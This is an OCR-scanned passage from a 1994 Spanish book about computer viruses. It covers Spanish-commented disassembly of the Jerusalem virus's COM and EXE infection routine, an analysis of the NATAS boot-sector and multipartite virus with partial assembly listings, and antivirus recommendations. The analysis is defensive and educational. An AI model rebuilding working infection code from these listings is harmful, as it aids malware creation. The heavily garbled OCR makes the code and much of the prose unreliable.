OFB2.058F 90 HOp
0FB2.0580 BBOO10 MOV
OFB2:0593 B448 MOV
OFB2 0595 CD21 INT
0F82 0597 7308 JNB
0FB2:0599 B43E MoV
0FB2:0598 8B1E7000 MOV
OFB2-053F CD21 INT
OFB2:05A 1 E94301 JMP
OFB2:05A4 FFOBBF00 INC
0FB2.05A8 8ECO MoV
OFB2'05AA 33F6 XO0R
OFB2:05AC 8BFE MOV
OFB2.05AE B31007 MOV
0FB82.05B1 F3 REPZ
0FB2-05B2 A4 MOVSB
OFB2:05B3 86807 MoV
0FB82'0585 8B0E1100 MOV
OFB2-05B9 8B1E7000 MoV
OFB2 058D 06 PUSH ES
OFB2:05BE 1F POP
OFB2:05BF B43F Mov
OFB2.05C1 CD21 INT
OFB2.05C3 721C JB
0FB2'05C5 03F9 ADD
OFB2:05C7 33C9’ XOR
0FB2.05C39 8BD1 Mov
OFB2-05CB B80D42 Mov
0FB2:05CE CD21 INT
0FB2:05D0 BEQS00 MoV
0FB2:05D3 BI0500 Mov
0FB2:0506 F3 REPZ
OFB2.0507 2t Cs:
OFB2.0508 A4 MOVSB
OFB2-0503 BBCF MoV
0FB2 05DB 3302 XOR
0FB2 0500 B440 MoV
OFB2:05DF CO21 INT
0FB2.05E1 720D JB

N

BYTE PTR {004E],00
0590 Contamina un *.COM.
05€6 Contamina un * EXE.

BX,1000
AH.48

21

054
AH,3E
BX,(0070]
21

OGE7
WORD PTR [008F}
ESAX

Pide 64 kB de memoria para formar un
drea de trabajo.

51,51
Disi
CX,0710
Copiaal virus a el drea de trabajo.

DX, Dt
CX,[0011)
BX.[0070]

Ds Lee ¢l programa a contaminar y lo

At 3F escribe después del virus en el 4rea de
21 trabajo.

05E1
DI.CX
CX,CX
DX,CX
AX,4200
21
St,0005
CX,0005

Se posiciona al principio del archivo.

Copia los datos del punto de inicio del
programa
cx.nt
DX, DX
AH 40
21 Escnbe el programa ya infectado.
05F0

(FB2 05£3 E9BCOO

Abaassassranna dAhk b bA AR b

JMP

* Infeccion en programas EXE *

améAmmmsasas bhA A AR N AR

(QFB2'05E6 B31C00
0FB2'05E9 BA4FDD
OFB2 05EC BA3F
0FB2 05EE CD21
OFB2-05F0 724A

0FB2 05F2 C70661008419

OFB2 05F8 A15D00
0FB2.05FB A34500
OFB2.05FE A15F00
0FB2-0601 A34300
0FB2:0604 A16300
0FB2.0607 A34700
OFB2-060A A16500
0FB2:0600 A34300
0FB2:0610 A15300
OFB2:0613 B33E510000
0FB2:0618 7401
OFB2:061A 48
OFB2:061B F7267800
0FB2 061F 03065100
0FB2 0623 83D200
0FB2:0626 050F00
0FB2:0629 830200
0FB2 062C 25FQFF
OFB2-062F A37C00
0FB2.0632 89167E00
QFB2:0636 051007
0FB2-0639 830200
0FB2.063C 723A
0FB2.063E F7367800
OFB2.0642 08D2
OFB2:0644 7401
0FB2:0646 40

0FB2 0647 A35300
OFB2 064A 89165100
OFB2 064E A17C00
OFB2 0651 BB167EQD
OFB2 0655 F7367A00
0FB2.0659 2B065700
OFB2 065D A36500

MoV
MOV
Mov
INT
JB
Mov
MoV
MOV
MoV
MoV
MoV
MOV
MOV
MOV
MOV
CMP
J2
DEC
MUuL
ADD
ADC
ADD
ADC
AND
MoV
MoV
ADD
ADC
JB
DIV
OR
JZ
ING
MoV
Mov
mov
MOV
DIv
SuB
MOV

OF82 0660 C7066300C500 MOV

5.1 Virus Infectores del sector de anranque
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06A2

GX,001C

DX,004F

AH3F

21 Lee las tablas de inicializacidn del
063C programa.

WORD PTR [0061],1984

AX,[005D]

{0045) AX

AX,[005F]

[0043] AX

AX,[0063)

|0047) AX

AX,{0065]

{0049) AX

AX,[0053)

WORD PTR [0051],+00

061B

AX

WORD PTR [0078]

AX,[0051)
DX,+00
AX,000F
0X,+00
AX FFFO
[007C) AX
[007E],DX
AX,0710
0X +00
0678
WORD PTR [0078]

DX, DX

0647

AX

[0053] AX

[0051].0X

AX [007C)

DX, [DO7E]

WORD PTR [007A)

AX [0057]

[0065],AX

WORD PTR [0063],00C5

Calcula 1a nueva longitud del
programasvirus.
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0FB2.0666 A350D00 MoV
0FB2:0669 C7065F001007 MOV
OFB2.066F 3309 XOR
0FB2 0671 8BD1 MOV
0FB2.0673 B80042 MOV
QFB2 0676 CO21 INT
OFB2 0678 720A JB
0FB2-067A BI1C00 MOV
QFB2 0670 BA4F0O MOV
OFB2'0680 B440 MOV
0FB2.0682 CD21 INT
0FB2 0684 7211 JB
0FB2.0686 3BC1 cmp
0FB2 0688 7518 JNZ
OFB2.068A 86167C00 MOV
0FB2 068E 8BOEVEQD MOV
OFB2.0652 BEDD42 MOV
0FB2 0635 CD21 INT
OFB2 0697 7209 JB
0FB2 0699 3302 XOR
0FB2.0698 B91007 MOV
OFB2 OG9E B440 MOV
OFB2:06A0 CD21 INT
0FB2.06A2 2E Cs
OFB2 06A3 833E8FO000 CMP
OFB2-06A8 7404 JZ
0FB2.06AA B449 Mov
0FB2.06AG CD21 INT
OFB2.06AE 2€ CS
OFB2:05AF BI3E7O00FF CMP
0FB2:06B4 7431 JZ
0rB2-06B86 2E CS:
OFB2 06B7 8B1E70CD Mov
0FB2 0688 2E CS.
0FB2.06BC 8B167400 MoV
0FB2:06C0 ZE Cs:
OFB2-06C1 BBOE7600 MoV
0FB2 06C5 BBO157 MoV
0FB2 06C8 CO21 INT
0FB2.06CA B43E MOV
0FB2.06CC CD21 INT
OFB2 06CE 2E Cs
OFB2 06CF C5168000 LDS
0FB2 06D3 2E Cs
OFB2.06D4 8BOE7200 MOV

[005D] AX
WORD PTR [005F) 0710
CX.CX
DX.CX
AX.4200
21

0684
CX,001C
DX, 004F
AH .47

21 Coloca la nueva 1abla de inicializacidn
0697 para el programa

AX,CX
06A2
DX,[007C}
CX.(007E]
AX.4200
21

06A2

DX, DX
CX.0710
AH 40

21 Agrega el virus al programa

WORD PTR [00BF],+00
06AE

AH 49 Libera la memoria que se haya reservado
21 comao drea de trabajo

WORD PTR [0070}.-01
06E7

BX,{0070}
DX,|0074]
CX.(0076]

AX. 5701
21

AH3E Cierrael archivo

21
DX [0080]
CX.[0072)

Se posiciona al comienzo del archivo

Se posiciona al final del archivo

Pone lafecha original del programa

~p

0FB2.06D8 B80143
OFR2.06DB CD21
0F82 0600 2E

QFB2:060E C5161B00 LDS

QFB2:06E2 BB2425
QFB2 06E5 CD21
0FB2.06E7 07
(OFB2 OGEB 1F
OFB2 O6E9 5F
OFB2 O6EA SE
0FB2:06EB 2A
OFB2 G6EC 59
0FB2:06ED 5B
OFB2:0GEE 58
OFB2:06EF 9D
(QFB2.06F0 2E
0FB2,06F Y FF2E1700
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MoV AX 4301 Restablece los atributos del archivo,
INT 21
CS.

DX,[001%8]

MQv AX,2524 Restablece 1a rutina de manejo de
INT 21 Brrores
POP ES
pap DS
POP DI
POP Sl
POP DX
POP CX
POP BX
POP AX
POPF
cs

JMP FAR {0017] Ejecutala interrupcidn original,

........... Sa ARk b A Rd ARt R L LA

Lengitud del programa 1 808 bytes

Posicion en memaoria:

Depende de la ejecucidn del programa,

Espacio para vanables: 145 bytes incluidos en los 1 808 de longitud
Observaciones: Este virus ya ha sido modticado en muchas ocasiones y es dicil saber qué daflos son capaces
de realizar oiras versiones, Por otro lado, este virus puede infectar una red del tipo local

T e N LA

Conclusidn

El virus de Jerusalén estd tan bien diseiiado que cuenta con
nuinerosas protecciones para evitar ser borradoe o sobreescri-
lo en la memoria. Utiliza las protecciones que proporciona el
sistema operativo DOS para ponerse a salvo enla pila, y crea
sreas de memoria de trabajo que evitan que sea “tocado” por
otros dalos. ’

Obviamente es un virus daiino y peligroso porque destru-
ye los programas que se cjecuten en la fecha programada
para su activacion, que es cualquier viernes 13 —después de
1987—; por eso, es conveniente lener siempre los originales de
todos los programas que se utilicen en un lugar seguro y pro-
tegidos contra escritura, y cada vez que se dé la necesidad de
instalarlos, vaificar que la computadora esté libre de virus
activos en la memoria,

El problema grave que se puede presentar con una infec-
cion de este virus es que si se infecla un programa que tenga
protecciones contra copiado, es posible que no se pueda vol-
ver a instalar porque algunos de estos programas lienen res-
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tricciones en cuanto a las veces que pueden ser nstalados en
discos fijos o flexibles.

Para estar seguros de que no hay virus activos en la memoria
de la computadora, se debe apagar y “cargar” con un sistema
operativo original y protegido contra grabacién, y sélo en ese
momento podemos verificar con un antivirus los discos que
supongamos estén contaminados con alguan tipo de virus.

5.1.6 Virus NATAS o SATAN

é—‘“ Nota:

Este virus, posiblemente originario de México, no se puede
clasificar entre los infectores de sectores de carga, pero tampo-
co podria estar con los mfectores de archives ejectitables. La ra-
z6n es que es un virus Mullipartita (Multipartite), porque
infecta diferentes partes de los discos, como archivos ejecuta-
bles, controladores de dispositivos (.5YS), sector de arranque
y tabla de particiones, Polintorfo (Polymorphic), que significa
que empluea algoritmos de eneripaon —codiflicacidn- para ha-
cer mas compleja su deteccion, y Mutante —aunque no en ol
estricto sentido de la palabra-, caracteristicas que lo convier-
ten en un virus muy especial,

Alguna vez se dijo que el virus Michelangelo marcaba una época,
ya que los medios informatives de tode el mundo, especializados
o no, reconocieron la existencia de los virus e Incluso exageraron
las noticias respecto a éste —exageraron acerca de la catasirole
que se avecinaba aguel 6 de marzo de 1992, ya que

_ pronosticaban gue milones de compuladoras perderian los datos
ahi conlenidos—, perg la exageracién era sélo respecto a la
cantidad de computadoras infectadas, porque los graves dafios,
si que los realiza.

El viris NATAS —asi en mayiisculas- realmente marca el
principio de una época, por lo menos en México, porque se
considera que en este ano de 1994 tan sélo entre los meses de
febrero a agosto, ha infectado por lo menos a una computa-
dora del 95% de las empresas publicas y privadas, Todos los
dias sc sabe de infecciones a causa de este virus en bancos,
oficinas de gobicerno, inslitutos de investigaciones, escuelas
de todos los niveles y usuarios personales.

Incluso hay empresas dedicadas al soporle y asesoria con-
tra ios virus que reconocen haber atendido las compuladoras
del IFE (Instituto Federal Electoral), unas semanas antes de
realizarse las lan sonadas elecciones def cambro en Mdéxico,

*w_wr-

Figura 5.21
Mensale del BBS
do McAfee
Assoclates en
Santa Clarq,
California, USA,
donde se pide
ayuda a otros
usuarlos cuando
58 ha sufrido
Infecclédn por
algun tipo de
virus
desconocldo.
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porque este virus se habia colado a sus sistemas. Estono es tan
rare, va que las computadoras de oficinas de gobierno o las
propias empresas de computacion, portaban ol virus en sus
disqueles sin que nadwe fo notara, porque hacia principios del
aflo no existia un antivirus que lo reconociera; los sintomas
que produce el virus pueden haberse atnibuido a errores de
los equipos o probtemas de los programas.

Arturo de Ia Mora de McAfee Associates Mévico, afirma
que desde micio de 1994 comensd a recibir en sus oficinas de
la ciudad de México, entre 300 y 400 llamadas diarias repor-
lando infecciones de un nueve virus —el Natas— Las primeras
llamadas de que tuvo noticia lueron del estado de Chiapas, v
de ahi partis hacia el norte y hacia el centro de Mdésico la epi-
demia. Actualmenle se sabe de infecciones en Europa, Suda-
mérica v Estados Urudaos, por los boletines inscrtados en la
red Infernet y enlos BBS de Meafee Associates

Ujeujng: CAPTURE.TAT - Press ESC to exit

Mzgl: 5581 =Yirus [nfo=

06—-03-94 20:35:49,

Fron: NOBY : . U
Subj: BOOT SECTOM UIMS :

| live a custorer thal has & problem 1 have never ht & hard }Irluq from & CostCo

store heré. 1 week (exactly) . . . -
after he bought It, the drive crashed. 1n fefornmatling the drive 14 gave a
warning, "WARNING, POSSIALE VIRUS DETECTED! FPMOCEED Y/NT”. AL ny adiise he-
fyped in "T” and procecded. Everything scomed to work perfectly untl] eractly
one ueek later. - His C: drive crashed (the other drive had been a piggy back Dt
drive). The same thing happened uhen he reformatied, with the exception that
uhen i1 cane to urite the Boot Seclor information, il,sald YBOO1 SECTOR VIRUS
DETECTED, PROCEED ¥/H”. . Ue ran CPAV and MSAU both on his machine and could not
find, ANY kind of Ulrus. ['m confused at this point and want to knou if there
isil"\speclnl kind of requirenent to find a “B0OT SECTOR” Virus? Please det mc ™
knou”  Thanks ce . -

S Aedy Alford-
Sterling Computer Services ..

. .- - P

Connands FUP PG’ HIME EMD.1..9 scroll § {Hiex (dgrmal (S)carch.

Cuando una compuladora es infeclada por ol onns Nalas,
los primeros sinlomas se manifiestan en la memori sieperior,
ya que al infectar los archivos cjecutables y de sistema que s
incluyen en el CONFIG SYS y en el AUTOEXEC BAT,_ co-
mienza por bloquear las dreas de trabajo de Windows Tam-
bién se nota la infecaidn coando esisten problemas para
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Figura 5.22
Aunque el virus
Natas es poco
conocido en
otros paises. ya
se puede
encontrar
nformacion
aceica de &l en
programas
cntivirus
europeos; la
pantalla
corespeonde al
AVP_200, de
orlgen Ruso

Figura 5,23
Pantatla getl Disk
Editor de Norton
7.0, donde se
muestra ta tabla
da particiones
de un disco
duro, Infectada
con el virus
NATAS,

Matas

It's a dangerous memory vesident multipart (te STOIIAlg
ufrus. It looks IMT 13h, 21h and writes itsell into MBR of
hard drlve, boot sectors of floppy disks and at the end of
- and EXE-flles are accessed. !t does mnot infect the
files are opened by FRZIP/PRUNZIP, LiWi and ARJ archivators.
In depending of iis internal counters Lhe virus formpats
dish sectars. It contalns the internal tert strings also:

BACK HODEM
Natas

grabar o leer informacion de los discos. Sus efectos son afea-
torws, v en ocasiones se han detectado mscnpciones en blo-
ques de 64 bytes en archivos de datos, los cuales armia como
rompecabezas cada vez que se cjecula el codigo de [ kB que
contience el arclivo anfitrién. )

Physical Sectar: Cyl 8, Side 0, Sector 1
00000000: £6 00 B0 OF - 83

E38E8RNTYSAYYRERASSRR
g-'.

[

NSE2R2EEINTSGANINEASEY

Bl223228 2R RNASIEIREES
Flessee8 2 CUNRICISRRE

3ER8RETPINGERIYIREAY

NZ22BBBIBINCSSURERS

222RRSINNTVIRHSECBRY

- cargar, satena .}
opeeativo.Falta<s
-glstens

EEERB2IRNSEY:

N EREERECCCATATRERSS

13335239

f3E5888C 22T 2ARRREEUES
N22SEESB2CNCNRRUCIEZES
RES2BRETHANRABIOSTICR
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Los danus que ocasiona ¢l virus tambidn son aleatorios, ya
gue puede mantenerse instalado en fa memorna por large
tiempo y no presentar sintomas que lo delaten; sin embargo,
cuando se dan las condiciones preprogramadas en su cadigo,
mfecla archivos ejecutables v de sistema, buscindolos en los
directorios especificados con el comando PATH en el archivo
AUTOEXEC BAT =los archivos de sistema los infecta cuando
tienen estructura de ejecutables— Ademids, aleatoriamente —
algunos investigadores han calculado que una vez de cada
quinientas-, sobreescribe la tabla de particiones o formatea
sectores del disco, con lo cual destruye la informacién ahi
contenida,

Cuando se ejecuta un programa mfectado conel viris Natas,
o cuando se hace la carga o miento de carga conun disquete
con el cddigo del virus en el sector inicial de carga, el vius se
instala en la memaoria de ta computadora, ¢ infecta cuanto
disquete se mtroduzea a la unidad para grabar o leer datos
También va infectando los programas con extension COAM,

EXE, .SYS, OVR, .OVL v otros conestructura de cjecutables.

La mfeccton consisle en grabar una parte de su codigo en
el sector de artanque de los disquetes o en lafabla de parficio-
nes (Master Bool Record, MBR), enseguida graba el resto del
cadigo en nueve sectores, al final de tos disquetes, o en los
altimos nueve sectores de b focalided fisica Cilindio 0, LLado 0,
que no es una direccion logica en los discos duros, con lo cual
tiene asegurada su ewistencia, porque ninguna infurmacion
se escribitd sobre el cédigo del virus. Los sectoies Iopicos de
los discos duros empiezan en el Cilindro 0, Lado 1, Sector 1,
que corresponde al sector logico 0, y ¢s donde estd ubicado el
progranu de carga ticial,

Anadlisis técnico
El viries Natas se compone de varias partes que han sido estu-
diadas e identificadas plenamente.

» Cabeza del virus, que se aloja en el sector de la tabla de par-
ticiones o en el sector de carga de los discos duos y dis-
quetes tespectivamente.

» Crierpo del vrrns, que se localiza ocupando neve sectores,
al final enlos disqueles, o al final del Cilindro ¢, Lado 0, en
los discos dures

» Virus complete —incluyendo cabeza y citerpo—, alojado al final
de los archivos vjecutables o de los de sislema, gue mues-
tran una estiuctura similar a los ¢jecutables, Estos son los

"
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Figuro 5.24

Object Edit

donde se aloja B0600910
el cuerpo ael .
virus Natas, En
estos nueve
seclores se
encuenira el
virus sin encriptar
—-decodificado-.

0B

SRR RNOREORENEBIRRRING
HERUICLILSIRL2NEES

N CNEREROAUSOBUNREISE

YHeBUSRESSERLIRRR22EY

Primer seclor do Link VUier Tafs Tools help
Physical Sectlor: -Sector
‘los nueve en gmo: oF :r‘cgl v 7 )

-
-

YR SRS NRBICRIRESS
AE3SRNSBIXRLBEITORESER
ONGERARZSAL3SRIGRER
BTN RNEBAAERSIRDIESS
; LEE4-3 T34 2 1 8 14
AL 2RYE U222 RREETR2ESE
EXEEENFELEY I R 3T 1

Z2CUSOSHARSRRESABINE

2XEYNNEERYRESUNSARAE

NUTUNSSREREFIATARAREY
{GE2UIRRO8ANBERIINREE

Figura 5.25
Ultimo sector de
los nueve dende
se encuentra el
cédigo del virus
Nalas. Observe
la cadena Natas
cosl al final del
mismo.
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que se cargan inicialmente a la memoria de o computado-

ra mediante el archivo CONFIG 5Y5
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Cuando se realiza fa carga de sistema operativo enla compu-
tadora —al momento de encenderla—, 10 primero que se lee del
disco es ¢l seclor de carga (Boot Sector) o la tabla de particianes

_(Master Boot Record, MBR), para identificar el medio —tipo de

disco o disquete- desde el cual se reahizard la carga del DOS.
Si Natas esta ahi, lo primero que se instala en la memorta de
la computadora us el virus, su cuerpo o codigo, y enseguida
el COMMAND.COM y los programas o manejadores de dis-
ositivos (Device Drivers) que se encuentren en los archivos
CONFIG.SYS y AUTOEXEC.BAT —en ese orden-.

S1 Ia computadora no estd inteclada por el perirs Natas el
disquete de sistema —en caso de que no exista disco duro-, la
infeccién puede partir de un programa gue si esté intedctado,
en cuyo caso, al cjecularse pone at virus en la memoria y lo
primero que hace es cantaminar el sector de arranguee del dis-
quete de sistema operativo o la tabla de pariicrones del disco
duro.

El c6digo inicial o cabeza del Natas 1o incluyen tos archivos
cjecutables en ol Header, desde donde hace un selto (Jum p)
hasta el fimal del codigo del programa, que es donde comicn-
za vl virus, despuds de cargarse en la memoria, cjecuta nor-
malmente el programa para que usted no note nada.

Los archivos infectados crecen end 74 bytes su longitud y
Natas les cambia la fecha a 100 anos mas que ba original para
detectar cuando un archivo hasido ya contaminado. Reserva
6 kB en la memoria para su uso, inferceptando la interrup-
cion 12h para enviar de regreso, cuando se le solicita, un va-
lor de memoria disponible igual al valor real menos los 6 kB.
Esto lo protege de cualquier sobreescritura en su codigo por-
que el DOS no tomard en cuenta la direccion de muemoria
para cirgar olros programas.

§j se carga ¢l virus desde ¢l sector de argigque ¥ no encuen-
tra el resto de su cuerpo, envia un mensaje de que no hay sis-
tema. Utiliza encriptamiento —codificacion— para ocultlar su
codigo en la parte final de los archivos infectados y téenicas
Stealth, evitando asi su facil deteccidn. El encriptamiento lo
realiza apoyandose en el tinrer de la computadora, pero a ni-
vel de interrupeidn, fogrando un codificado diferente en
cada caso, ya quu los valores de cada tipo de timer vartan con
la computadora.

Desensamblado del virus Natas
El cédigo del virus insertado en los archivos cjecutables se
divide téenicamente en dos partes: la rufing de decriperdn o de-
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Figura 5.26
Pantalla del
programa
ThunderByte
versién 6.22,
donde avisa que
ha encontrodo
al virus Nafas en
'a fabla de
poarticiones de
un disco dure.

00:01

[l Elapsed time:

PN 5 - second. [

codificaciion v el crergrdel coes La runna de decnipadn es
nnihantte, o3 decir combia de fooma en cada archive infectado,
por lo gue es muy diiiad de dewectar Bl cues podel virus estd
enchptida, por lo quee esulta Lanbién muy complicada su de-
teceion, ’

Esta particularidad ot onis Natas ha obligado o los fabri-
cantes de programas antisirus a inchir en ellos rutinas de de-
sensamMade de los datos gue se encuentran en determinadas
localidades de memona, v en sectores o archivos del disco
Ademas W duisqueda o rastieo de virus (Scan) se realiza Henws is-
ticamente; es decir, utihzando algontmos especiales que de-
termunan situn archivo incluye en su coddigo instrucciones
que generalimente usan los eirus nifornidtices, como accesas a
dreas pehgrosas de las discos, Hamados o inten upeiones del
BIOS, cle.

Con la rutina de uwhihdades -ULIZXEE del Progrania ruso
AVP_200, sc localizo al vmries Natas en la memoria de 1 com-
putadora y se le desensamblé, obieniendo un resultado, que
coincide con el desensamblado micial del cae podel virus en
el primero de Tos nues e sectores, utilizando ef desensambla-
t_{nr Sovteer de VCOMMUNICATIONS [ne de San José, Cali-
tmni.\l, en Estados Unidos. Enocambio, of desensamblado det
virus localizado en un archivo eec e sliempie Yo
sullados ialsos debido a su l'(nlll.ljttj.:i'liltall!l R Do
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'

Enseguida se presenta el desensamblado de la parte de Natas

gue sc localiza enla tabla de particiones de un disco duro mnfec-

tada, comenlando algunas de sus rutinas, y ¢l desensambindo

del inicio del cadigo del cuerpo del virus, comparado con ¢l

del virus en memana realizado con AVP_200. Por seguridad,

solo se presenta un poco del eadigo, que no desentrana lodas

las artimafnas de que se vale este programa para lograr sus
cfectos dafinos

adewnsamsdd kkdddddansansnnndddhansdaraabdadRAntanTa R nanS

, Desensamblado dei virus NATAS en el sector de la 1abla de particiones

PR R R N LN

org 0
pari proc far
start:
call sub_1
part endp
sub_1 proc near

, Elvirus debe de cargarse a la memonaen forma residente y proteger dicho espacio para que no
: sea sobreescrito por el DOS. Para tograrlo altera el valor tolal de memonia aimacenado en la

- localidad de memona 40.13 (hexadecimal). Aquies donde el BIOS almacena el total de memoria
. RAM disponible en la compuladora Una vez alterado el valor, el DOS "pensard” que solo dispone
. de esa cantidad de memoria y no sobreescribird al virus Natas aparta para sf mismo 6kB de la

; memaoria para cargarse.

mov di,40h : Direcciona el segmento de BIOS
mov ds,dt , Ponlo en DS para accesar 40 13
sub ysord ptr [d-2Dh) 6, Reserva Bk

mov ax,[dI-2Dh) ,dile at DOS que s6lo Lene 634k

, disponibles

, Una vez que el virus engafia al DOS, se cargard en 13 parie mas alta de la memoria. En una PC de
: 640k de memoria, la parte mas alta encuentra a partir de lalocalidad 655,360 ¢ en el segmento

. AQDD 0000 Puesto que ef virus reservd 6k o 6144 bytes (1800h), e! segmento donde se cargard
- serd 655360 - 6144 = 649,216 0 sea 9EB0.0000. Para calcutar el segmento donde se cargara,

sutiliza la fdrmula ((640k - 6%) * 1024)

; Calcula el segmento
; donde se cargara el virus

mov cl,0Ah
ror ax,cl

. Hasta agui el wirus ya reservd la memona que va a usar asi como el segmento donde cargara el
 reslo de 5b cuerpo, ensepuida carga éste, que se encuentraen el Citindro 0, Lado 0 del disco
: duro, 0 en lgs Gltimos nueve sectores del disquete En total Natas lleva a lamemoria 9 * 512 =

.4 6508 bytes

, Segmento donde se carga

mov €5,ax

"
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mov
xor
add
mov
int

ax,209h
bx,bx
ax,0
dx,B80h
13h

S i ke T g 0y

; Dile al BIOS que lea @ sectores
; Ofset 0 dentro del segmento
; Cddigo muerto

; Cabeza 0, dnve G

En caso de que Ia lectura sea exi i i
; xitosa, inmediatamente el virus |
, Memona a través de la instruccion RETF ? pasa el controla su cddigo en

toc_2:

ic
push
push
retf

lec_3
es
bx

, Pon [a direcein del codigo

» del virus en memoria en el stack

. Genera un error si no se puede cargar a la memoria.

loc_3.

loc_9.

. Al final del codigo dei virus,

db
db

int
add
add

mov
mov
cmp
jine
mov
jmp
sub_1

18h

[di+1Ch),dh

s1,10h
ioc_d:
?uc_s.
ete.

si,6CAh
di,7DFEh

word ptr [01) 0AA55h

loc_5
s1,bp
0000.7C00
endp

OEAh, 0, 7Ch, 0,0
'Tabla de particr

deja parte del programa de carga de la tabla de parliciones onginal.

ki Bt

o e L

.

db
db
db
db
db
db
db
db
db
db
db
db
db
ab
db
db

5.1 Virus infectores del sector de arranque

0A2h, 6Eh, 20h, BEh,6Fh, 20h
76h, 0AOh, BCh, 63h, 64h, 61h
o

'Error al cargar s1slema operativ’
‘o

1]

'Falta sistema oper’

222 dup (0)

80h,1,1,0,4,4

0D1h, 2,118, 0,0,0

OEEh, OFFh,0,0,0,0
0C1h,3,5,4,001h,0CFh
OFFh, OFFh, 0,0, 11h

44h

34 dup (0)

55h, DAAR

P T T L R L A N I asdibbhdamadrrann

- Desensamblado de la parte inicial del cuerpo del virus Nalas.

aabeahabdeshaddnng

patashd Ist

NATASHD

:Created: 15-Aug-94
- Code type. zero star

, Passes’ 5

Sourcer Lisung v1 86

Analysis Flags on: HORS

', 4(175. Namero de discos duros dispontbles

= 0475
= (000
=12CC
=12D5
=1207
= 13E7
=13E8
= 13EF
=13F7
= 13FB
= 1402
= 1404
= 1406
= 1408
= 140A
=140C
= 140D
= 140E

data_le equ 475h ; (00000475=1)
data_2e  equ 0 , {5F3D.0000=1FOER)
data_15e equ 12CCh ; (5FAD:12CC=0)
data_16e equ 1205h0 ; (5F90:1205=0)
data_17e equ 1207h ; (5F9D.1207=0)
dala_18e equ 13E7h ; (5F9D:13E7=0)
dala_19% equ 13EBh ; (5F3D.13EB=0)
data_20e equ 13EFh ; (8F9D.13EF=0)
data_21le equ 13F7h ; (5F9D.13F7=0)
data_22e equ 13FBh : (5F3D.13FB=0)
data_23e equ 1402h 1 (5F9D.1402=0)
data_24e equ 1404h ; (5F30:1404=0)
data_25e equ 1406h : (5F90.1406=0)
data_26e equ 1408h : (5F90.1408=0)
dala_27e equ 140Ah ; (SFID.140A=0)
data_28e equ 140Ch ; (5F9D 140C=0)
data_2% equ 1400h - (5F9D 140D=0}
data_30e equ 140Eh ; (5F9D 140E=0)

drAbMEEREaR R b bad

19-Aug-94 1.08am

Page 1
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= 1410 data_32e equ 1410h ,(3F9D 1410=0)
=1411 data_33e equ 1411h . {5F9D 1411=0)
seg_a segment
assume  cs'seg_a, ds'seg_a
org 0
natashd proc far
5F80.0000 start.
5F3D 0000 OF push cs
SFSD.0001 1F pop ds
» Obtén vectores de interrupcidn
5FSD-0002 EB 0094 call sub_3 » (0099)

: Graba AL en mi propio segmento de cddigo, en el desplazamienta 473 y también en |a locatidad de

, memoria 1411

5FSD 0005 A2 0473
SF3D:0008 A2 1411

5F3D.000B 8E CY
SF3D 000D SF
5F9D DOOE 83 EF 03
5F90 0011 50
5FAD0012 57
5F90D.0013 BE 0047

mov data_%.al, (5F9D 0473<0)
mov ds.data_33e,al ; {5F90.1411=0)
mov £s,ax
pop di
sub di,3
push ax
push di
mov s1,47h

Medidas de prevencion

Para este virus en particular se recomienda conlar con por lo
menos une de los cuatro programas antivirus mds conocidos:

# Scan versidn 2.1 0 de McAfee Assocates, el cual so puede
conseguir a traves de los BBS dedicados a los antivirus, o
en la red Internet. En muchos paises —como en México por
cjemplo- existen representantes de McAfee de Santa Cla-
ra, California, Estados Unidos, que ienen sus propias for-
mas de comercializacron,

TheiderByte version 6.22 o mds actual, antiviius Holandds
creado por ESaSS B. V., cuyo iepresentante en México us
MICROASIST. Este antivirus es uno de los mas rapidos en
la venficacion de archivos ¢ incluye basqueda heuristica
en su codigo.

Figura 5.27
Desensamblado
del Inicio del
cuerpo del virus
Notas localizado
“in fraganti™ en
la memoria de la
compuladora.
Observe quo el
comienzo del
virus es igual ai
del listado de
Sourcer.
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» F-PROT version 2,130 en sus versiones de Shareware o PPro-
fesional, quue pueden conseguirse mediante BBS, o en Meé-
xico, a traves de su distributdor autorizado. También muy
rapido en su biisqueda, ofrece informaciin acerca de gran
cantidad de virus.

Scan666 de PC Editores, S AL de €V, que se entrega gralis
a los suscriptores del boletin 'C soluciones/indicadores.
También se ofrecio a los usuarnios de computadoras por
medio de anuncios en la prensa, ademads de asesoria para
finyar las computadoras infectadas.

A\

La informacion completa sobre estos v otros programas
antivirus la encontrard en el Capitulo 0. La recomendacian
que no puede faltar aqui es no use copras piraleadas de pro-
gramas, s1 utihza y saca provecho de los programas de Shave-
ware, envie ¢l pago correspondicnie a sus autores, asi en
adelante padra contar con mds y mejores programas por ese
medio, y por Ultimo, respatde o haga copins de segreridad de 1a
informacion generada con Ly computadora.
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61 Fuentes de Informaocién ~T45

demas de los seis virus tratados a fondo en ¢l capitulo

anterior, hay una gran variedad de ellos que se han he-
cho famusos, unos por la elegmicia de su codigo que ha perm-
tido realizar modificaciones, a programaderes que incluso
no tienen demasiados conocimientos, otros por los grandes
estragos que causan a la formacion almacenada enlas com-
putadoras, y los mds por la canhidad de computadoras infec-
tadas en todo el mundo.

de informacién

La informacion que se obtiene acerca de cllos, se debe prime-
ramente a las publicaciones al respecto que realizan Jos me-
dios especializados 0 no, en informalica, enseguida a las
notas que sobre vires mforntiticos se dejan en los BBS o enlas
bases de datos de redes como Internel, Compuscrve, SPIN'y
otras, y en tercer lugar a pubheaciones vapecializadas en este
tipo de programas daiinos como el VIRUS-L Digest de Inter-
pet, el Vinus Budlelinn, 105 mismos prograias antivn sy pithlica-
ciones electrénicas, donde se recopila imformacion técnica de
todos los virus conocidos.

Las revistas v medios no especializados generalmente
tienden a exagerar la informacion sobre s al difundir ver-
siones, caracleristicas y funciones destruclivas que no les son
propias; en los BBS v redes informdticas a veces se encuen-
tran datos que resullan imprecisos, ya que son generados por
wsuarios meaperfos que han su frido alguna infeccion y ahi co-
mentan sus experiencias —aunque también se pueden encon-
trar consejos de eaperlos progranmdores—, finalmente los
listados de los expertos presentan documeniacion muy con-
fiable acerca de los nombres, forma de contagio, danos que
pueden causar y manerag de evitar les viius.

Una de estas publicaciones electronicas us VSUM (Virus
Information Sunmmary List), uno de Jos compendios acerca
de los virus infornuiticos mas completos hasta la actualidad,
que puede “bajarse” de los BBS de McAfee Associates, o de al-
gunos foros coma futernet o Compuserve. También se puude
pedir directamente a su autora, Patricia M. Hoffman, a su di-
reccion:

3333 Bowers Av, Suile 130
Santa Clara, CA 95051
USA

Tel.: (408) 983-3773
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Figura 6.1

Pantalla de
blenvenida al
programa de
hipedaxto
(Hyperlex!)
VSUM, de
Patricla M.
Hotiman. Aqui se
presenta una
extensa
recopllacion de
todos los virus
conoecidos de los
PCs.

Los virus mds conocidos

Patricia 8. Hoffean's Ulrus !nforsation Susmary List (tal
